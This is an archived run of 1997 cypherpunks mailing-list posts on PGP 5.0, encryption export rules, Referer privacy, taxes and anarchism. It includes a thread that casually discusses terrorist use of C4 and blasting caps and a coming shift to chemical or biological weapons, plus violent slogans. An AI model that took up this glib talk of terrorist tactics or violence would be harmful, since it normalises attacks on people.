)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Mon, 19 May 1997 03:02:59 +0800
To: cypherpunks@algebra.com
Subject: Re: PGP 5.0 beta is out at PGP.com
In-Reply-To: <199705181020.DAA18483@jefferson.hidden.net>
Message-ID: <v03007803afa50c3704d1@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 10:11 AM -0800 5/18/97, Tim May wrote:

>
>I'll have to get it off the Iraqi or Syrian sites.
>

Hey, thanks everyone, no more pointers are needed. My favorite crypto guru
in the Estekhbarat gave me a pointer to his site. Alas, my version of the
Macintosh OS is not recent enough to use this program.

(Funny how most Windows software will run on the 6-year old 3.1, but Mac
software often requires the latest "x.01" rev of the unstable OS. I knew
I'd pay a price for defecting from the Borg.)

Shows you that ordinary compatibility issues are a more effective bar to
world-wide use than the weak attempts by the USG to limit access by
foreigners. When the Estekhbarat has it, you _know_ such controls are
pointless.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: mpd@netcom.com (Mike Duvos)
Date: Mon, 19 May 1997 03:05:15 +0800
To: cypherpunks@cyberpass.net
Subject: Re: PGP 5.0 beta is out at PGP.com
In-Reply-To: <v03007800afa4f5fdcc00@[207.167.93.63]>
Message-ID: <199705181853.LAA01875@netcom18.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


Tim May writes:

> I'll have to get it off the Iraqi or Syrian sites.

Quite frankly, if PGP is now 5 meg of Lord-knows-what that won't even
execute from a command line under DOS, I think I will stay with version
2.6, whose contents I am familiar with. 

Just another shrink-wrapped box of GAK, until otherwise demonstrated. 

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     mpd@netcom.com     $    via Finger.                      $





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Olsen <alan@ctrl-alt-del.com>
Date: Mon, 19 May 1997 03:42:51 +0800
To: Tim May <tcmay@got.net>
Subject: Re: PGP 5.0 beta is out at PGP.com
In-Reply-To: <v03007800afa4f5fdcc00@[207.167.93.63]>
Message-ID: <3.0.2.32.19970518122142.00b2c7f0@mail.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain


At 11:49 AM 5/18/97 -0800, Tim May wrote:
>At 10:11 AM -0800 5/18/97, Tim May wrote:
>
>>
>>I'll have to get it off the Iraqi or Syrian sites.
>>
>
>Hey, thanks everyone, no more pointers are needed. My favorite crypto guru
>in the Estekhbarat gave me a pointer to his site. Alas, my version of the
>Macintosh OS is not recent enough to use this program.
>
>(Funny how most Windows software will run on the 6-year old 3.1, but Mac
>software often requires the latest "x.01" rev of the unstable OS. I knew
>I'd pay a price for defecting from the Borg.)

The reason for this is that the MicroBorg made it too hard to develop for
the latest version of their software.  (Probably in an attempt to kill
off/assimilate Borgland.)  Many people stuck with the old tools instead of
upgrading to the new ones...

I prefer Unix.  At least most tools come with source...  (And the GNU
compilers are a hell of a lot more stable and bug free than their Windows
counterparts.)

>Shows you that ordinary compatibility issues are a more effective bar to
>world-wide use than the weak attempts by the USG to limit access by
>foreigners. When the Estekhbarat has it, you _know_ such controls are
>pointless.

When I want to point out how absurd the whole thing is, I just tell them
about what it takes to get PGP.  Either jump through the hoops in the US or
go to one of many offshore sites and not jump through the hoops.  It also
helps when a couple of the "big name" algorythms are patented/created by
companies outside of the US.  ("Wait.  You mean I can't distribute IDEA
because it might fall into foreign hands?  But it's owned by the Swiss!")

>There's something wrong when I'm a felon under an increasing number of laws.

When will they learn that the reason people have so much disrespect for
laws is that we have so few laws worth respecting?

>Only one response to the key grabbers is warranted: "Death to Tyrants!"

I am waiting for one of these CongressCritters to propose a "Chastity Belt
Key Escrow bill".  Especially for those pages on the Senate floor...
(OBCongressJoke: "Why don't congressmen use bookmarks?  They like their
pages bent over.") I can just imagine the debate on that one!



---
|     "Bill Clinton - Bringing back the sixties one Nixon at a time."    |
|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
|`finger -l alano@teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
|         http://www.ctrl-alt-del.com/~alan/       |alan@ctrl-alt-del.com|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Olsen <alan@ctrl-alt-del.com>
Date: Mon, 19 May 1997 03:46:53 +0800
To: mpd@netcom.com (Mike Duvos)
Subject: Re: PGP 5.0 beta is out at PGP.com
In-Reply-To: <v03007800afa4f5fdcc00@[207.167.93.63]>
Message-ID: <3.0.2.32.19970518122618.00aa85e0@mail.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain


At 11:53 AM 5/18/97 -0700, Mike Duvos wrote:
>Tim May writes:
>
>> I'll have to get it off the Iraqi or Syrian sites.
>
>Quite frankly, if PGP is now 5 meg of Lord-knows-what that won't even
>execute from a command line under DOS, I think I will stay with version
>2.6, whose contents I am familiar with. 
>
>Just another shrink-wrapped box of GAK, until otherwise demonstrated. 

Have you noticed that none of the PGP people have posted as of late?  I
wonder if they were among the "purged".

---
|     "Bill Clinton - Bringing back the sixties one Nixon at a time."    |
|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
|`finger -l alano@teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
|         http://www.ctrl-alt-del.com/~alan/       |alan@ctrl-alt-del.com|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Mon, 19 May 1997 04:02:34 +0800
To: Tim May <cypherpunks@algebra.com
Subject: Re: Crypto, C4 Explosives, and Destroying the Infrastructure
In-Reply-To: <v03007801afa4f88363e2@[207.167.93.63]>
Message-ID: <v03007803afa50d9f1b3f@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain


>However, there are a couple of *obvious* errors. My supposition is that he
>"pulled his punches" a little, choosing to gloss over certain things which
>would have made the "terrorist" essentially impossible to detect. (The most
>glaring error, which he surely knew better about, was to assert that NSA
>could break any cipher if given enough time and computer power.)
>
>I surmise from how he altered factual details about the world of
>cryptography--though masterfully--that he also subtly tweaked some details
>in other areas. I, for example, don't plan to use the cyclotrimethylene
>trinitramine version of C4, allegedly free of the usual odor-producing
>impurities, for any of my sanitization efforts! (He also describes some of
>the flaws in the bombs used in the World Trade Center and Oklahoma City
>bombings...any aspiring terrorist should certainly read this novel for some
>ideas...taking into account the deliberate errors he inserted, as with the
>crypto errors!)
>
>A real explosives expert would see in his detailed descriptions of where
>and how to get the M6 Special Engineer Electrical Blasting Caps and the
>M-112 Charge Demolition Blocks the same kind of subtle tweakings of the
>truth that he put into his convincing descriptions of cryptanalysis.
>

Any intelligent terrorist knows that explosives are old hat.

Perhaps this is an opportunity for CPs to join in and re-write the book
with a more factual basis and outcome, are re-publish on-line.  I volunteer
to OCR.

-Steve






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Mon, 19 May 1997 04:07:48 +0800
To: cypherpunks@cyberpass.net
Subject: PGP 5.0 beta problem
In-Reply-To: <v03007800afa4f5fdcc00@[207.167.93.63]>
Message-ID: <v03007804afa50e6649fe@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain


Have any other Mac CPs tried using verion 5.0 with CryptDisk?  When the
PGPMenus extension is installed any attempt to open an encrypted volume
generates a "Not enough memory to mount disk" message.  I ahve pleanty of
RAM abd suspect a lack of System memory (e.g., stack space).

--Steve






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Mon, 19 May 1997 02:14:37 +0800
To: cypherpunks-hosts@manifold.algebra.com
Subject: improving reliability of cypherpunks@algebra.com
Message-ID: <199705181807.NAA31088@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Hi There,

I have come up with a way to reduce latency and improve reliability of
cypherpunks@algebra.com node, by way of tinkering with DNS and mail
aliases at a friendly site.

I plan to implement the new scheme and then seamlessly transfer 
cypherpunks@algebra.com to a better connected host. This transition is
supposed to change NOTHING in the way cypherpunks@algebra.com looks
to its users, subscribers, and peers. It is also supposed to be painless
to the subscribers. Operation of cyperpunks@algebra.com will NOT be 
interrupted at ANY time.

However, whenever computers are involved, there are things that can go
wrong. You will also receive some number of test messages. I hope that
you will understand that and I will take all steps to prevent any 
inconveniences.

Thank you

igor





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Hal Finney <hal@rain.org>
Date: Mon, 19 May 1997 04:42:03 +0800
To: cypherpunks@cyberpass.net
Subject: Re: referers and W3 (fwd)
Message-ID: <199705182021.NAA04042@crypt.hfinney.com>
MIME-Version: 1.0
Content-Type: text/plain


Rich Graves, <llurch@networking.stanford.edu>, writes:
> A friend who webmasters a large site that is implementing referer-specific
> content sent me this when I mentioned the cpunks/cryptography thread of a
> few months back. I basically agree with the W3C. While user education on the
> potential privacy threat is essential, I do not believe that Netscape should
> violate published technical standards. There are also privacy and property
> issues from the server's perspective.

I'm not sure what Netscape action you are referring to, but if it is
giving the users the option to block the Referer tag, RFC2068, which is
HTTP/1.1, already endorses this:

     Note: Because the source of a link may be private information or
     may reveal an otherwise private information source, it is strongly
     recommended that the user be able to select whether or not the
     Referer field is sent. For example, a browser client could have a
     toggle switch for browsing openly/anonymously, which would
     respectively enable/disable the sending of Referer and From
     information.

and later:

   We suggest, though do not require, that a convenient toggle interface
   be provided for the user to enable or disable the sending of From and
   Referer information.

I use Eric Murray's fine "cookie jar" privacy program when I am web
browsing on my Linux system (http://www.lne.com/ericm/cookie_jar/).
It blocks cookies and advertisements via a very flexible config file
mechanism.  It also eliminates other privacy-revealing outgoing data,
including Referer, and could be easily modified to play all kinds of
games with Referer for the adventurous.

In the news recently, Ticketron is blocking links from some Microsoft
affiliated sites due to a disagreement about licensing.  I don't know the
details of how it is done technically, but possibly it is done by looking
at the Referer tag to see if the user linked from the Microsoft site.
If so, this would be a good example of the browser sending information
which is detrimental to the user.

Hal





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Vladimir Z. Nuri" <vznuri@netcom.com>
Date: Mon, 19 May 1997 05:22:01 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Just Say "No" to Congress
In-Reply-To: <Pine.SUN.3.91.970516230840.24291E-100000@beast.brainlink.com>
Message-ID: <199705182104.OAA20232@netcom14.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



R.A.:
>You seem to be misinformed.  You don't send your money to Uncle Sam.  It 
>gets taken out of every pay check before you even see it.   Then, come 
>April 15, you fill a piece of paper out with the hope you'll get some of 
>it back.  But sometimes, Uncle Sam takes even more.

right. and those who do nothing to change this, certainly can't expect
that it will ever change.  but in fact it *has* changed before. it
wasn't always the case that money was withhold. this law was introduced
during WWII as I understand it.

is it true that something that can be done cannot be undone? or can
the withholding tax be undone just as it was done? a certain amount
of energy was expended in creating the situation that we find ourselves
in-- decades of entrenchment. I submit that exactly the same amount
of energy applied to the problem can *undo* it. it's a simple concept
of conservation of energy. granted, a lot of energy is involved, I don't
deny that. but *no* energy will get you absolutely nowhere. 

what others are claiming is that no amount of energy will change
anything, so why bother? indeed, why bother with your life at all?
perhaps suicide is the easiest and ultimate solution for people who
think this way. there are things in your life that you think you
can change, right? why is the tax system not included in that category?
I agree, one person cannot change the system. do not give me examples
where one person failed. this is conservation of peoplehood; if many
people were involved in its creation, than many must be involved in
its destruction.

T.M.:
>As for my being hypocritical, Detweiler is free to think whatever he
>thinks. If and when I go down in a shootout with the fascists, I expect
>it'll be over something more dramatic than not paying my taxes.

just out of curiosity timmy, what would you think is more likely?

>> ok truthmonger, after someone has stolen your money, do you
>> report it to the police, or do you just sit around and
>> curse the evildoer? what is your response when your money
>> is stolen?
>
>  I kiss it goodbye and forget about it.

oh really? here are some questions that anyone can ask about
why their money was stolen.

1. who is the person who stole my money?
2. why did they steal it?
3. what could prevent it from being stolen?
4. what can I do to protect my money from being stolen?


government construction is an *engineering* problem. you cannot
build something without putting thought and labor into it.
I believe that if cpunks put their mind to it, they could create
a better system than we now have-- and it wouldn't be anarchy (which
is no system at all).

truthmonger:
>I've lost a few thousand dollars worth of goods to thieves,
>but criminal cops have cost me tens of thousands of dollars in
>the legal system.
>

what if you showed up on the doorstep of a politician of your choice
who you thought was stealing money from you? what if not only you
but many people did this? would the government change? would they
shoot you?


I don't buy into the alienation and cynicism on this list peddled
by TCM, truthmonger, et.al., and I suggest that anyone else who
does is selling themself short, and in fact part of the problem and
not the solution.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: iang@cs.berkeley.edu (Ian Goldberg)
Date: Sun, 18 May 1997 22:54:49 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Distributing cryptographic code
In-Reply-To: <9705161836.AA28876@angreal.MIT.EDU>
Message-ID: <5ln43g$pki@abraham.cs.berkeley.edu>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

In article <3.0.1.32.19970517183655.00867d60@mail.io.com>,
Greg Broiles  <gbroiles@netbox.com> wrote:
>But a clerk in Egghead who sells a copy of 128-bit Netscape to a "foreign
>person" is also guilty of an export violation.

Not the way I read the regs (IANAL)...  734.2(b) provides a completely
different definition of "export" for encryption software ((b)(9) instead
of (b)(2)(ii)).

   - Ian

734.2(b):
	(b) Export and reexport--(1) Definition of export. ``Export'' means
    an actual shipment or transmission of items subject to the EAR out of
    the United States, or release of technology or software subject to the
    EAR to a foreign national in the United States, as described in
    paragraph (b)(2)(ii) of this section. See part 772 of the EAR for the
    definition that applies to exports of satellites subject to the EAR.
    See paragraph (b)(9) of this section for the definition that applies to
    exports of encryption source code and object code software subject to
    the EAR.
	(2) Export of technology or software. (See paragraph (b)(9) for
    provisions that apply to encryption source code and object code
    software.) ``Export'' of technology or software, excluding encryption
    software subject to ``EI'' controls, includes:
    <snip, irrelevant to EI>

734.2(b)(9):
	(9) Export of encryption source code and object code software. (i)
    For purposes of the EAR, the export of encryption source code and
    object code software means:
	(A) An actual shipment, transfer, or transmission out of the United
    States (see also paragraph (b)(9)(ii) of this section); or
	(B) A transfer of such software in the United States to an embassy
    or affiliate of a foreign country.
	(ii) The export of encryption source code and object code software
    controlled for EI reasons under ECCN 5D002 on the Commerce Control List
    (see Supplement No. 1 to part 774 of the EAR) includes downloading, or
    causing the downloading of, such software to locations (including
    electronic bulletin boards, Internet file transfer protocol, and World
    Wide Web sites) outside the U.S., or making such software available for
    transfer outside the United States, over wire, cable, radio,
    electromagnetic, photooptical, photoelectric or other comparable
    communications facilities accessible to persons outside the United
    States, including transfers from electronic bulletin boards, Internet
    file transfer protocol and World Wide Web sites, unless the person
    making the software available takes precautions adequate to prevent
    unauthorized transfer of such code outside the United States. Such
    precautions shall include:
    <snip; this part was in the previous note>

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQCVAwUBM38TokZRiTErSPb1AQHZJgP/aFc77erbX8CTK5dKDOskMas5eqHPTj36
VkALz17gkkZLbOs8jafc/hCVRgAC5wiF29CLE33XX2Ngvb8O98mwQFFGnJaUj0+9
70Q7fuKKvjvo19V+yPWVw/Q9ZJR4uA+qpIyyIZf28HIn+949Mpyq75eOs686se3t
AX5q7acfjJc=
=7kz4
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mix <mixmaster@remail.obscura.com>
Date: Mon, 19 May 1997 07:03:01 +0800
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199705182203.PAA19230@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain


Sunday, May 18, 1997 - 20:46:37 MET

Our form of gov't is based on the Judeo-Christian rooted belief in 
unalienable rights. (though the concepts has been around long befor 
judaism) These are rights endowed upon us by the life force, they are 
inherent in our  creation and are subject only to the laws of the 
universe not by any king, or human leader, and so they cannot be 
taken away by or infringed on by any human leader or groups.


The whole of the physical universe is bound by laws we do not make 
but can only seek to understand. Tuning in and acting in harmony with 
the laws of the universe furthers us in our development( ie 
agriculture).  Exploiting the laws greedily leads to our 
destruction.(ie thoughtless industrialization). Furthering 
nature/the life force is good, opposing nature, seeking to conquer 
and exploit it, is  bad from our human perspective.


The constitution and bill of rights was the original AP document with 
a series of checks and balance designed to keep  ultimate power, 
the right to speak out, organise, gather together, rise up and bear 
arms, in the hands of the people so no one group could impose the 
tyranny of their beliefs and the masses. I believe it is human nature 
to cast off the bonds of oppression. This is the assertion of the 
life force that always seeks to sustain and perpetuate itself in the
greatest possible array of diversity.


I believe this was a major quantum leap in the history of  human 
thought and concioussness. A giant step in the right direction of our 
true divinity but it was sorely flawed; By the concept of property 
rights. This is where the founding fathers eogos got in the way. 

The liberation movements of the last century have been based on the 
same concept of unalienable rights and have attempted to fine tune 
the document for  a more equitable distribution of planet power to 
correct the flaw.

You don't need a weatherman or a clinton to know which way the wind
blows. You don't need to be literate to know who is taking what from
whom. You don't need a judge to tell you right from wrong. you have 
instincts that can tell you just fine. 

Religion in the earliest sense was the bringing together of the group 
in an understanding of their commonanlity and uniqueness in a way 
that  stirred up ones feelings of awe for the power of the universe 
in order that we would discover our commonality while at the same 
time instilling a repect for each of our uniqness. So we could be 
inspired to submit to our inner and outer natures and act in harmony 
with it and show benevolence in our relations with each other. This 
is the ultimate anarchist, a ninja warrior of natures rainbow, who 
fights to defend the unalienable rights endowed on all by life force.

I believe that most of the folks on this list aspire to a form of 
self govt. A belief and trust in the anarchy of nature tempered with 
the benevloence brought about by the recognition of our common 
humanity. A state of affairs where each is a ninja/captain of their 
own soul.  Who recognize the inhernet rights of all and act 
accordingly without coercion or direction from an outside source, for 
the laws of the universe are within us. Who respect the rights of the 
individual and can let them that would destroy themselves destroy, 
themselves and them that would live to live. To live and let live and 
live and let die.


I believe the network is the link to the next level of evolution of 
human thought and self gov't. A new religion where we can rediscover 
our common humanity and regroup as a planet, as the one human tribe.  
A way to explore our comon roots and learn and develop appreciation 
and respect for our differences. Where in spite of all efforts to propagandize 
and spread hate our commanality will emerge. Where all voices can be 
heard and equitable solutions worked out. Not by "sheeple" but by 
people allowing their primal natural instincts to govern their 
actions to be it to  shun, support or defend or defeat someone or 
something.


We are retaking repsonsibility for our selves and our fellow humans. 

Again, you don't need a Weatherman or an FBI man to know which way 
the wind blows. Look outside your window then look inside your 
window. 



Rainbow Warrior 








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Mon, 19 May 1997 04:32:33 +0800
To: Noxemail@aol.com
Subject: Re: 10855
In-Reply-To: <970518143700_-732029033@emout11.mail.aol.com>
Message-ID: <199705182017.PAA32040@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Dear Mr. Morris,

Thank you for submitting your unsolicited resume for our consideration.

Our company, Algebra Consulting Services International, does not need 
people with only Windows experience.

We think that exposure to Windows tends to prevent people from properly
developing their brains, and see it as a minus rather than a plus.

The personnel of Algebra Consulting is known for their in-depth
experience with Unix programming and Object-Oriented systems design in
languages like C++, Eiffel and Perl, and has enjoyed substantial revenue
growth in the last decade.

I wish you luck in your endeavours and hope that you can find a Windows
job elsewhere.

Best regards,

	- Igor Chudov, Personnel Director, Algebra Consulting Services Inc.

Noxemail@aol.com wrote:
> 
> 
> Dear Madam or Sir, 
> 
> 
>      I am currently seeking employment with your company and am available
> immediately. I have provided my resume, so that you have the opportunity to
> critique my skills. If interested, or you know someone who might be,
> duplicates of this resume in complete fax form are available by calling
> 602-224-0506 or 602-508-8323. In either case, enter extension #334. You will
> have the option of recieving a complete fax of my resume on that call
> whatever your location, or entering the telephone number to a fax machine of
> your choice if calling from area code 602.
> 
> 
> 
> 
> 
> Andre Morris
> 
> 3 years intense experience: 
> 
> Expert Knowledge of MS Access (Database), Word (Word Processing), Excel
> (Spreadsheet). Visual Basic and Word Basic programming for custom modules and
> procedures in all Office 95 Professional applications.
> 
> Typing 50+  WPM, Data Processing, Proofreading.
> 
> Desktop Publishing. Strong skills in Corel Draw and Quark Express. Image
> editing, manipulation, filtration, graphic design. Experience with art
> layout, design, and production of fliers, newsletters, newspapers, brochures,
> manuals, and reports.
> 
> Strong Skills in document imaging, scanning, and image storage. Familiar with
> Postscript printing systems and methods. Optical Character Recognition (OCR)
> via Text Bridge Pro.
> 
> Knowledge of PC hardware, and software. Specialize in PC equipment purchasing
> and system design. Extremely skilled under Windows 95, MS-DOS.
> 
> Knowledge of Internet web page design, site registration, web based
> marketing,  HTML publishing.
> 
> File Management, CD-ROM Storage Solutions, Record Keeping, Database 
> Management.
> 
> 
> 
> 
> 2 years intense experience:
> 
> A self starter, and self motivated. Excellent presentation, project
> management, analytical and people skills. Excellent time management and
> multi-tasking skills. Able to meet deadlines, hard working, detail oriented,
> organized. 
> 
> Gathering of research and information through all available sources including
> FTP, Internet, Usenet, All Local Libraries, Telephone, US Mail, Facsimile,
> interviews, conventions, and more. Converting information into comprehensive
> reports, policy, and operating procedures.
> 
> Automated telephone answering system design through Voice FX, including fax
> on demand, voice mailboxes, marketing and promotional messages, fax
> broadcasting.
> 
> Legal Research including A.R.S. and U.S.C., Case Law Research, and Pre Court
> Legal Case Compilation.
> 
> Drafting of correspondence, letters, monthly reports, system administration
> and management Reports, departmental reporting, discipline and performance
> reviews, and in house communications.
> 
> Project Design, Scheduling, Purchasing.
> 
> 
> 
> 
> 2 years advanced study:
> 
> Marketing: Creative Writing, Journalism, Direct Mail, Media Relations,
> display ad creation, classifieds and free ad marketing.
> 
> General Accounting: Payroll, Trust and Estate Planning, Budgeting, General
> Ledger, invoice and payment processing, state and federal tax.
> 
> Incorporation: Local and Federal Trademark and Tradename filings, logo
> development, Patent research and application, Copyright application.
> 
> Overseas Relations: Expert into the culture and business practices of the
> United Kingdom. Import/Export, shipping regulations and customs duty,
> establishing a sales base and corporate foothold in the UK, in depth
> knowledge into marketing and purchasing habits of UK residents, contacts and
> connections in UK business areas.
> 
> Charity: Knowledge of Charitable Foundations, 501( C )3 corporations, and
> Private foundations. Ability to work with and manipulate IRS regulations
> concerning charities, registrations of charities and charitable activities
> within the state of Arizona. In depth knowledge of local charitable
> activities, and a complete overview of the entire Arizona public services and
> state benefits systems. Including A.H.C.C.C.S., Welfare, Food Stamps and
> Child Assistance, Unemployment Insurace, Subsidized Housing, WIC, and
> Families with Dependent Children.
> 
> Other Misc. Experience and Abilities: Personal Physical Fitness Training,
> Print and Television Modeling, Personal Grooming, Photography, Martial Arts.
> 
> 
> 
> 
> Professional Character
> 
> The compilation and study of famous jokes and quotations. 
> 
> Study and appreciation of fine art, including paintings, cathedrals, and
> stone statues.
> 
> Interest in the works of Mozart, Vivaldi, Beethoven, Bach.
> 
> Demanding quality in every aspect of personal life, and professional career.
> 
> 
> 
> 
> Experiences to Note
> 
> I have recently returned from London, England. The cultural, artistic,
> reasoning, logical, and analytical skills that I have learned from this are
> immeasurable.  Having socialized and developed friendships with individuals
> from around the world including Italy, South Africa, Spain, Canada, USA,
> Sweden, Switzerland, Turkey, Ireland, and more has given me a tremendous
> insight into global business operations and methods. Having worked closely as
> a top level manager for a UK Charity, and also as a foreman on construction
> for the Australian Embassy in the UK, I have observed many unique and
> insightful ideas which I now intend to share.
> 
> For two years I have worked closely with a business partner to establish a
> small business. In doing so, I have learned the value of hard work. I have
> proven my ability to work 12 to 16 hours every day, for months. I have
> learned, in detail, exact laws, regulation, and policy of business operations
> in over five industries. I have gained magnificent insight into the needs of
> a corporation, and what that corporation must expect from its employees.
> Although there are thousands more considerations I can list as to the
> benefits of this training, I will simply close with a quotation:            
> 
>                Ability is nothing without opportunity - Napoleon. 
> 
>     Telephone/Fax:602-508-8323 x.667 - Telephone/Fax:602-224-0506 x.667 
>                   Additional Resume Fax Copies: Extension #334
> 
> 
> 
> 
> 
> 
> 
> 
> 
> 
> NOTE: This message has been sent to you anonymously. If you wish to reply to
> this resume with an offer of employment, please do so via the contact
> information provided on the resume itself. 
> 
> This service has been deployed to protect job seekers from potential email
> abuse.
> 
> 
> 
> 
> 



	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Mon, 19 May 1997 06:51:52 +0800
To: cypherpunks@toad.com
Subject: Nature of Anarchy/ Anarchy of Nature
Message-ID: <199705182225.PAA03246@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain



Sunday, May 18, 1997 - 20:46:37 MET

Our form of gov't is based on the Judeo-Christian rooted belief in 
unalienable rights. (though the concepts has been around long befor 
judaism) These are rights endowed upon us by the life force, they are 
inherent in our  creation and are subject only to the laws of the 
universe not by any king, or human leader, and so they cannot be 
taken away by or infringed on by any human leader or groups.


The whole of the physical universe is bound by laws we do not make 
but can only seek to understand. Tuning in and acting in harmony with 
the laws of the universe furthers us in our development( ie 
agriculture).  Exploiting the laws greedily leads to our 
destruction.(ie thoughtless industrialization). Furthering 
nature/the life force is good, opposing nature, seeking to conquer 
and exploit it, is  bad from our human perspective.


The constitution and bill of rights was the original AP document with 
a series of checks and balance designed to keep  ultimate power, 
the right to speak out, organise, gather together, rise up and bear 
arms, in the hands of the people so no one group could impose the 
tyranny of their beliefs and the masses. I believe it is human nature 
to cast off the bonds of oppression. This is the assertion of the 
life force that always seeks to sustain and perpetuate itself in the
greatest possible array of diversity.


I believe this was a major quantum leap in the history of  human 
thought and concioussness. A giant step in the right direction of our 
true divinity but it was sorely flawed; By the concept of property 
rights. This is where the founding fathers eogos got in the way. 

The liberation movements of the last century have been based on the 
same concept of unalienable rights and have attempted to fine tune 
the document for  a more equitable distribution of planet power to 
correct the flaw.

You don't need a weatherman or a clinton to know which way the wind
blows. You don't need to be literate to know who is taking what from
whom. You don't need a judge to tell you right from wrong. you have 
instincts that can tell you just fine. 

Religion in the earliest sense was the bringing together of the group 
in an understanding of their commonanlity and uniqueness in a way 
that  stirred up ones feelings of awe for the power of the universe 
in order that we would discover our commonality while at the same 
time instilling a repect for each of our uniqness. So we could be 
inspired to submit to our inner and outer natures and act in harmony 
with it and show benevolence in our relations with each other. This 
is the ultimate anarchist, a ninja warrior of natures rainbow, who 
fights to defend the unalienable rights endowed on all by life force.

I believe that most of the folks on this list aspire to a form of 
self govt. A belief and trust in the anarchy of nature tempered with 
the benevloence brought about by the recognition of our common 
humanity. A state of affairs where each is a ninja/captain of their 
own soul.  Who recognize the inhernet rights of all and act 
accordingly without coercion or direction from an outside source, for 
the laws of the universe are within us. Who respect the rights of the 
individual and can let them that would destroy themselves destroy, 
themselves and them that would live to live. To live and let live and 
live and let die.


I believe the network is the link to the next level of evolution of 
human thought and self gov't. A new religion where we can rediscover 
our common humanity and regroup as a planet, as the one human tribe.  
A way to explore our comon roots and learn and develop appreciation 
and respect for our differences. Where in spite of all efforts to propagandize 
and spread hate our commanality will emerge. Where all voices can be 
heard and equitable solutions worked out. Not by "sheeple" but by 
people allowing their primal natural instincts to govern their 
actions to be it to  shun, support or defend or defeat someone or 
something.


We are retaking repsonsibility for our selves and our fellow humans. 

Again, you don't need a Weatherman or an FBI man to know which way 
the wind blows. Look outside your window then look inside your 
window. 



Rainbow Warrior 








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Michael Wilson <0005514706@mcimail.com>
Date: Mon, 19 May 1997 05:39:05 +0800
To: cypherpunks <cypherpunks@algebra.com>
Subject: Re: Crypto, C4 Explosives, and Destroying the Infrastructure
Message-ID: <97051821294147/0005514706DC2EM@mcimail.com>
MIME-Version: 1.0
Content-Type: text/plain


Tim May wrote:
>However, there are a couple of *obvious* errors. My supposition is that he
>"pulled his punches" a little, choosing to gloss over certain things which
>would have made the "terrorist" essentially impossible to detect. (The most
>glaring error, which he surely knew better about, was to assert that NSA
>could break any cipher if given enough time and computer power.)

I would assume that anyone considering the potential of infrastructural
warfare attacks in a dramatic setting would have to handicap the moves
of the opposition force--the mechanisms of tradecraft in the modern
age are such that the anti- and counter-terror forces are whistling
in the dark as they pass the graveyard.

Steve Schear wrote:
>Any intelligent terrorist knows that explosives are old hat.
>Perhaps this is an opportunity for CPs to join in and re-write the book
>with a more factual basis and outcome, are re-publish on-line.  I volunteer
>to OCR.

The modern terrorist or opposition force will use whatever makes them
the most effective--if that means, on the cost/benefit curve, that
they use explosives, then by all means they will.  Terrorism evolves
under pressures much the way any other social element does; in this
case, evolutionary pressures are those of environment and predators.
As the security increases or improves, terrorists have historically
advanced as well (guns to explosives when airport security improved,
and the coming shift to chemical or biological weapons, as thermal
neutron analysis comes on-line).  Predators, such as intelligence or
law enforcement, merely serve to cull the herd a bit, which is why
you see fewer but more effective terrorist attacks, even as narrowly
defined in the recent U.S. State Dept. reports.  As for publication or
other expansion on the subject matter, let me point out my own work on
the topic (always pro strong crypto, pro cypherpunks, incidentally).

Infrastructural warfare is a field that should interest cypherpunks--
it has been my strongest argument for getting government out of the
security and cryptography business for a number of years now.  Feel
free to reference the URL:

		http://www.geocities.com/CapitolHill/4843/

Particularly of interest to cypherpunks (or anyone with an interest
in how to run an untraceable opposition force that could give most of
